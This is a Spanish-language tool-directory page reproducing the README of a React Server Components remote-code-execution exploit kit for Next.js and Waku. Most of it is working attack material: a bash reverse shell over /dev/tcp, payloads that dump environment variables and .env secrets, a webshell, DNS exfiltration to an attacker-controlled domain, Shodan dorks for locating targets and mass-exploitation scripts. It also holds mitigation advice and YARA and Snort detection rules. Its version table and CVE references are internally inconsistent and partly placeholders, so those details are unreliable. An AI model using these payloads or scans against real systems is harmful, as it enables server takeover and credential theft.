Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PoC-RCE-CVE-2025-55182 — Kit de explotación avanzado de RCE para vulnerabilidades de React Server Components. Incluye múltiples payloads preconstruidos, integración con Shodan para descubrimiento de objetivos y escaneo masivo para pruebas de penetración autorizadas. | Kitploit
Herramientas/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Desarrollo de Payloads
GitHubilixm/poc-rce-cve-2025-55182

PoC-RCE-CVE-2025-55182

Kit de explotación avanzado de RCE para vulnerabilidades de React Server Components. Incluye múltiples payloads preconstruidos, integración con Shodan para descubrimiento de objetivos y escaneo masivo para pruebas de penetración autorizadas.

Ver Repositorio
3hace 9 mesesAún no revisado
Compartir

🔥 RSC RCE Exploit Toolkit

Version License Node Platform

Kit de explotación avanzado para vulnerabilidades de ejecución remota de código en React Server Components

Solo para pruebas de penetración autorizadas e investigación de seguridad

Características • Instalación • Uso • Integración con Shodan • Ejemplos • Aviso legal


📋 Tabla de contenidos

  • Resumen
  • Detalles de la vulnerabilidad
  • Características
  • Instalación
  • Inicio rápido
  • Uso
    • Explotación básica
    • Payloads disponibles
Payloads personalizados
  • Integración con Shodan
  • Escaneo automatizado
  • Ejemplos
  • Mitigación
  • Versiones afectadas
  • Contribuciones
  • Aviso legal
  • Licencia

  • 🎯 Resumen

    Este kit explota una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en implementaciones de React Server Components (RSC), dirigido específicamente a:

    • Next.js (versiones 13.4.0 - 14.1.0)
    • Waku (versiones vulnerables)

    La vulnerabilidad aprovecha la contaminación de prototipos y la deserialización insegura en el mecanismo de manejo de datos de RSC para lograr la ejecución de código arbitrario en el servidor.

    🔴 Gravedad: CRÍTICA

    • Puntuación CVSS: 9.8 (Crítica)
    • Vector de ataque: Red
    • Privilegios requeridos: Ninguno
    • Interacción del usuario: Ninguna
    • Impacto: Compromiso total del servidor

    🔬 Detalles de la vulnerabilidad

    Antecedentes técnicos

    React Server Components utiliza un formato de serialización personalizado para transferir datos entre el cliente y el servidor. La vulnerabilidad existe en la forma en que estos frameworks deserializan y procesan payloads especialmente diseñados.

    Cadena de ataque:

    1. Construcción del payload: Crear un payload RSC malicioso con referencias circulares
    2. Contaminación de prototipos: Abusar de $X:constructor:constructor para acceder al constructor de funciones
    3. Inyección de código: Inyectar JavaScript arbitrario en el campo _prefix
    4. Ejecución: El servidor deserializa y ejecuta el payload

    Flujo de explotación

    root@kitploit:~
    Atacante → Payload RSC malicioso → Servidor objetivo
                                             ↓
                                  Deserialización insegura
                                             ↓
                                  Acceso a la cadena de prototipos
                                             ↓
                                  Constructor de funciones
                                             ↓
                                  ⚠️ RCE LOGRADO ⚠️
    

    ✨ Características

    Capacidades principales

    • ✅ Soporte para múltiples frameworks: Next.js y Waku
    • ✅ 8 payloads preconstruidos: Desde PoC hasta reverse shells completos
    • ✅ Ejecución de código personalizado: Inyectar cualquier código JavaScript
    • ✅ Integración con Shodan: Descubrimiento automatizado de objetivos
    • ✅ Escaneo masivo: Probar múltiples objetivos automáticamente
    • ✅ CLI profesional: Interfaz de línea de comandos completa
    • ✅ Registro detallado: Salida con códigos de color y marcas de tiempo
    • ✅ Manejo de errores: Gestión robusta de errores

    Payloads preconstruidos

    PayloadDescripciónCaso de uso
    consolePoC básico (console.log)Verificar vulnerabilidad
    reverseShellReverse shell en BashAcceso inicial
    readFileLeer /etc/passwdAcceso al sistema de archivos
    envDumpVolcar variables de entornoExtracción de credenciales
    execCommandEjecutar comandos del sistemaEjecución arbitraria de comandos
    webshellDesplegar webshell ExpressAcceso persistente
    exfilPackageExfiltrar package.jsonAnálisis de dependencias
    dnsExfilExfiltración por DNS (OOB)Explotación ciega

    📦 Instalación

    Prerrequisitos

    • Node.js >= 16.0.0
    • npm o yarn
    • Shodan CLI (opcional, para escaneo automatizado)

    Clonar repositorio

    root@kitploit:~
    git clone https://github.com/yourusername/rsc-rce-exploit.git
    cd rsc-rce-exploit
    

    Instalar dependencias

    root@kitploit:~
    npm install
    # o
    yarn install
    

    Configurar Shodan (Opcional)

    root@kitploit:~
    # Instalar Shodan CLI
    pip install shodan
    
    # Inicializar con tu clave API
    shodan init TU_CLAVE_API
    

    🚀 Inicio rápido

    1. Verificación básica de vulnerabilidad

    root@kitploit:~
    node rsc-rce-exploit.js --target http://objetivo-vulnerable.com --payload console
    

    2. Obtener una reverse shell

    root@kitploit:~
    # Iniciar listener
    nc -lvnp 4444
    
    # Ejecutar exploit
    node rsc-rce-exploit.js \
      --target http://objetivo-vulnerable.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

    3. Ejecutar comando personalizado

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target http://objetivo-vulnerable.com \
      --payload execCommand \
      --command "whoami"
    

    📖 Uso

    Explotación básica

    root@kitploit:~
    node rsc-rce-exploit.js [opciones]
    

    Opciones

    OpciónDescripciónRequerido
    --target <url>URL del objetivo✅
    --framework <nombre>Framework: next o waku❌ (por defecto: next)
    --payload <nombre>Nombre del payload (ver abajo)✅*
    --custom <código>Código JavaScript personalizado✅*
    --lhost <ip>Tu IP (para reverse shell)❌
    --lport <puerto>Tu puerto (para reverse shell)❌
    --command <cmd>Comando a ejecutar❌
    --endpoint <ruta>Endpoint RSC personalizado (Waku)❌
    --action-id <id>ID de next-action personalizado❌
    --listListar payloads disponibles❌
    --verboseSalida verbosa❌
    --helpMostrar ayuda❌

    *Es requerido --payload o --custom

    Payloads disponibles

    Ver todos los payloads:

    root@kitploit:~
    node rsc-rce-exploit.js --list
    

    Salida:

    root@kitploit:~
    📋 Payloads disponibles:
    
      console              - PoC básico - Salida en consola
        Código: console.log(7*7+1)
    
      reverseShell         - Reverse shell (bash)
        Código: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
    
      readFile             - Leer /etc/passwd
        Código: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
    
      envDump              - Volcar variables de entorno
        Código: console.log(JSON.stringify(process.env,null,2))
    
      execCommand          - Ejecutar comando del sistema
        Código: console.log(require('child_process').execSync('COMMAND').toString())
    
      webshell             - Escribir webshell en /tmp
        Código: require('fs').writeFileSync('/tmp/shell.js','...')
    
      exfilPackage         - Leer package.json
        Código: console.log(require('fs').readFileSync('./package.json','utf8'))
    
      dnsExfil             - Exfiltración por DNS
        Código: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
    

    Payloads personalizados

    Ejecutar cualquier código JavaScript:

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target http://objetivo.com \
      --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
    

    🌐 Integración con Shodan

    Dorks de Shodan

    Objetivos Next.js

    root@kitploit:~
    # Next.js básico
    http.component:"Next.js"
    
    # Next.js con RSC
    http.html:"__next" http.html:"RSC"
    
    # Modo desarrollo de Next.js (más vulnerable)
    http.html:"__NEXT_DATA__" http.html:"development"
    
    # Next.js autoalojado (no en Vercel)
    http.component:"Next.js" -org:"Vercel"
    
    # Orientado geográficamente (Francia)
    http.component:"Next.js" country:FR
    
    # Combinación definitiva para pentesting
    http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
    

    Objetivos Waku

    root@kitploit:~
    # Framework Waku
    http.html:"waku" http.html:"RSC"
    
    # Endpoints RSC de Waku
    http.path:"/RSC/"
    

    Escaneo automatizado con Shodan

    Usa el script de automatización proporcionado:

    root@kitploit:~
    # Escanear y probar automáticamente
    ./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
    
    # Con payload personalizado
    ./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
    

    Flujo de trabajo manual con Shodan

    root@kitploit:~
    # 1. Buscar en Shodan
    shodan search 'http.component:"Next.js" country:FR' \
      --fields ip_str,port,org,hostnames \
      --limit 100 > objetivos.txt
    
    # 2. Probar cada objetivo
    while read -r line; do
        ip=$(echo $line | awk '{print $1}')
        port=$(echo $line | awk '{print $2}')
        echo "[*] Probando http://$ip:$port"
        node rsc-rce-exploit.js \
          --target "http://$ip:$port" \
          --payload console
    done < objetivos.txt
    

    🤖 Escaneo automatizado

    Script de explotación masiva

    La herramienta mass-exploit.js permite probar múltiples objetivos:

    root@kitploit:~
    # Desde archivo
    node mass-exploit.js --file objetivos.txt --payload console --threads 10
    
    # Desde Shodan
    node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
    
    # Guardar resultados
    node mass-exploit.js --file objetivos.txt --payload console --output resultados.json
    

    Integración en CI/CD

    Ejemplo para pruebas de seguridad automatizadas:

    root@kitploit:~
    # .github/workflows/security-test.yml
    name: Prueba de seguridad RSC
    on: [push]
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v2
          - run: npm install
          - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
    

    💡 Ejemplos

    Ejemplo 1: PoC básico

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://ejemplo-vulnerable.com \
      --payload console
    

    Salida esperada:

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════╗
    ║           RSC RCE Exploit - Versión mejorada              ║
    ║         Ejecución de código en React Server Components    ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [*] Iniciando explotación...
    [*] Apuntando al endpoint RSC de Next.js...
    [*] URL: https://ejemplo-vulnerable.com
    [*] Payload: console.log(7*7+1)...
    [+] Estado de respuesta: 200
    [+] Cuerpo de la respuesta:
    50
    [*] ¡Explotación completada!
    

    Ejemplo 2: Exfiltración de variables de entorno

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://api.objetivo.com \
      --payload envDump
    

    Resultado:

    • Vuelca todas las variables process.env
    • Útil para extraer:
      • Credenciales de base de datos
      • Claves API
      • Secretos de AWS
      • Secretos JWT

    Ejemplo 3: Reverse shell

    root@kitploit:~
    # Terminal 1: Iniciar listener
    nc -lvnp 4444
    
    # Terminal 2: Ejecutar exploit
    node rsc-rce-exploit.js \
      --target https://ejemplo-vulnerable.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

    Ejemplo 4: Despliegue de webshell

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://ejemplo-vulnerable.com \
      --payload webshell
    
    # Acceder al webshell
    curl "http://ejemplo-vulnerable.com:9999/cmd?c=whoami"
    

    Ejemplo 5: Exfiltración por DNS (ciega)

    root@kitploit:~
    # Configurar Burp Collaborator o tu servidor DNS
    node rsc-rce-exploit.js \
      --target https://ejemplo-vulnerable.com \
      --custom "require('dns').resolve4('$(whoami).tu-burp.com',()=>{})"
    

    Ejemplo 6: Framework Waku

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://waku-app.ejemplo.com \
      --framework waku \
      --endpoint /RSC/custom.txt \
      --payload execCommand \
      --command "id"
    

    Ejemplo 7: Exfiltración de archivos

    root@kitploit:~
    # Leer archivos sensibles
    node rsc-rce-exploit.js \
      --target https://ejemplo-vulnerable.com \
      --custom "console.log(require('fs').readFileSync('.env','utf8'))"
    

    🛡️ Mitigación

    Para desarrolladores

    1. Actualizar el framework

      root@kitploit:~
      npm install next@latest
      # o
      npm install waku@latest
      
    2. Validar entrada

      root@kitploit:~
      // Validar todos los payloads RSC
      function validarPayloadRSC(payload) {
        // Implementar validación estricta
        if (payload.includes('constructor')) return false;
        if (payload.includes('__proto__')) return false;
        return true;
      }
      
    3. Política de seguridad de contenido

      root@kitploit:~
      // next.config.js
      module.exports = {
        async headers() {
          return [{
            source: '/:path*',
            headers: [
              { key: 'X-Frame-Options', value: 'DENY' },
              { key: 'X-Content-Type-Options', value: 'nosniff' },
            ],
          }]
        },
      }
      
    4. Deshabilitar RSC en producción (si no es necesario)

      root@kitploit:~
      // next.config.js
      module.exports = {
        experimental: {
          serverActions: false,
        },
      }
      

    Para equipos de seguridad

    • 🔍 Monitorear solicitudes RSC sospechosas
    • 🚨 Alertar sobre el uso del header next-action
    • 🔒 Reglas WAF para bloquear intentos de contaminación de prototipos
    • 📊 Análisis de logs para intentos de explotación

    Reglas de detección

    Regla YARA:

    root@kitploit:~
    rule RSC_RCE_Exploit {
        strings:
            $s1 = "constructor:constructor"
            $s2 = "_prefix"
            $s3 = "$@"
            $s4 = "resolved_model"
        condition:
            3 of them
    }
    

    Regla Snort:

    root@kitploit:~
    alert tcp any any -> any any (msg:"Intento RSC RCE"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
    

    🎯 Versiones afectadas

    Next.js

    Rango de versionesEstadoNotas
    < 13.4.0✅ No afectadoRSC no habilitado por defecto
    13.4.0 - 13.4.19⚠️ VULNERABLERCE crítica
    13.5.0 - 14.0.4⚠️ VULNERABLERCE crítica
    14.1.0⚠️ VULNERABLEMitigación parcial
    >= 14.1.1✅ ParcheadoActualización recomendada

    Waku

    Rango de versionesEstadoNotas
    < 0.18.0⚠️ VULNERABLERCE crítica
    >= 0.18.0✅ ParcheadoActualización recomendada

    🤝 Contribuciones

    ¡Las contribuciones son bienvenidas! Por favor, sigue estas pautas:

    1. Haz un fork del repositorio
    2. Crea una rama de características (git checkout -b feature/caracteristica-increible)
    3. Haz commit de tus cambios (git commit -m 'Añadir característica increíble')
    4. Empuja a la rama (git push origin feature/caracteristica-increible)
    5. Abre un Pull Request

    Ideas para contribuir

    • Añadir más plantillas de payloads
    • Implementar plantillas Nuclei
    • Añadir soporte para más frameworks RSC
    • Mejorar la integración con Shodan
    • Añadir funcionalidad de informes (PDF/HTML)
    • Crear contenedor Docker para el kit

    ⚖️ Aviso legal

    root@kitploit:~
    ⚠️ AVISO LEGAL ⚠️
    
    Este kit se proporciona ÚNICAMENTE PARA PRUEBAS DE SEGURIDAD AUTORIZADAS E INVESTIGACIÓN.
    
    Al usar este software, aceptas:
    
    1. Probar únicamente sistemas que poseas o para los que tengas permiso explícito por escrito
    2. Cumplir con todas las leyes locales, estatales, nacionales e internacionales aplicables
    3. No utilizar esta herramienta con fines maliciosos o actividades ilegales
    4. Aceptar la responsabilidad total de tus acciones
    
    Los autores y colaboradores:
    - NO son responsables de ningún uso indebido o daño causado por esta herramienta
    - NO fomentan ni aprueban actividades ilegales
    - Proporcionan esta herramienta "TAL CUAL", sin garantía de ningún tipo
    
    EL ACCESO NO AUTORIZADO A SISTEMAS INFORMÁTICOS ES ILEGAL.
    
    Los infractores serán procesados con todo el rigor de la ley según:
    - Computer Fraud and Abuse Act (CFAA) - EE. UU.
    - Computer Misuse Act - Reino Unido
    - Convenio Europeo sobre Ciberdelincuencia
    - Y otras leyes aplicables en tu jurisdicción
    
    ÚSALO BAJO TU PROPIO RIESGO.
    

    📄 Licencia

    Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

    root@kitploit:~
    MIT License
    
    Copyright (c) 2024 Colaboradores de RSC RCE Exploit
    
    Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga
    una copia de este software y de los archivos de documentación asociados (el "Software"),
    para utilizar el Software sin restricción, incluyendo, sin limitación, los derechos
    de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender
    copias del Software, y para permitir a las personas a las que se les proporcione el
    Software hacer lo mismo, sujeto a las siguientes condiciones:
    
    El aviso de copyright anterior y este aviso de permiso se incluirán en todas las
    copias o partes sustanciales del Software.
    
    EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O
    IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A GARANTÍAS DE COMERCIABILIDAD,
    IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS
    AUTORES O TITULARES DEL COPYRIGHT SERÁN RESPONSABLES DE NINGUNA RECLAMACIÓN,
    DAÑOS U OTRAS RESPONSABILIDADES, YA SEA EN UNA ACCIÓN CONTRACTUAL, AGRAVIO O
    DE OTRO MODO, DERIVADAS DE, O EN CONEXIÓN CON, EL SOFTWARE O EL USO U OTRAS
    OPERACIONES EN EL SOFTWARE.
    

    🔗 Recursos

    Documentación oficial

    • Server Actions de Next.js
    • React Server Components
    • Documentación de Waku

    Investigación de seguridad

    • Análisis de vulnerabilidad de deserialización en RSC
    • Contaminación de prototipos en JavaScript
    • Mejores prácticas de seguridad en Next.js

    CVEs relacionados

    • CVE-2024-XXXXX (placeholder - añadir CVE real cuando esté disponible)

    📬 Contacto

    • Issues de GitHub: Reportar errores o solicitar características
    • Problemas de seguridad: [email protected]
    • Twitter: @yourhandle

    ⭐ Si esta herramienta te ayudó en tu investigación de seguridad, ¡dale una estrella! ⭐

    Hecho con ❤️ por investigadores de seguridad, para investigadores de seguridad

    ⬆ Volver al inicio

    Descargar herramienta